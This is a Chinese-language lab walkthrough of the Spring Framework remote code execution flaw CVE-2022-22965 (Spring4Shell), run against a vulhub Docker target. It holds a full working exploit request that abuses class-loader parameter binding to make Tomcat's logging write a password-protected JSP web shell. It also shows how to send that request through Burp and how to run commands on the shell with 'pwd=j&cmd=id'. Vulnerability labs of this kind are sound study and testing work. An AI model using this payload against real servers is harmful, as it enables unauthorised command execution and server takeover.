spring framework远程代码执行漏洞
中间件漏洞
漏洞概述:参数绑定造成的变量覆盖漏洞,漏洞点spring-beans包中。Spring MVC 框架的参数绑定功能提供了将请求中的参数绑定控制器方法中参数对象的成员变量,通过 ClassLoader构造恶意请求获取AccessLogValue 对象并注入恶意字段值,来更改 Tomcat 服务器的日志记录属性触发 pipeline 机制写入任意路径下的文件。
环境搭建
(我的环境在contos上)
cd vulhub/vulhub-master/spring/ //进入环境目录
cd CVE-2022-22965 //选择环境进入
docker-compose up -d //启动容器
docker-compose ps -a //查看启动容器状态
本机浏览器访问
url:靶机ip+分配的端口
poc
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
burp抓包(再次访问首页)
发送到repeater模块
修改请求包,添加poc
修改前
修改后发送
访问
拼接路径
http://靶机ip:8080/tomcatwar.jsp?pwd=j&cmd=id
id可以尝试替换为其它的命令(我随意测试了一下,所以画面东西杂乱),成功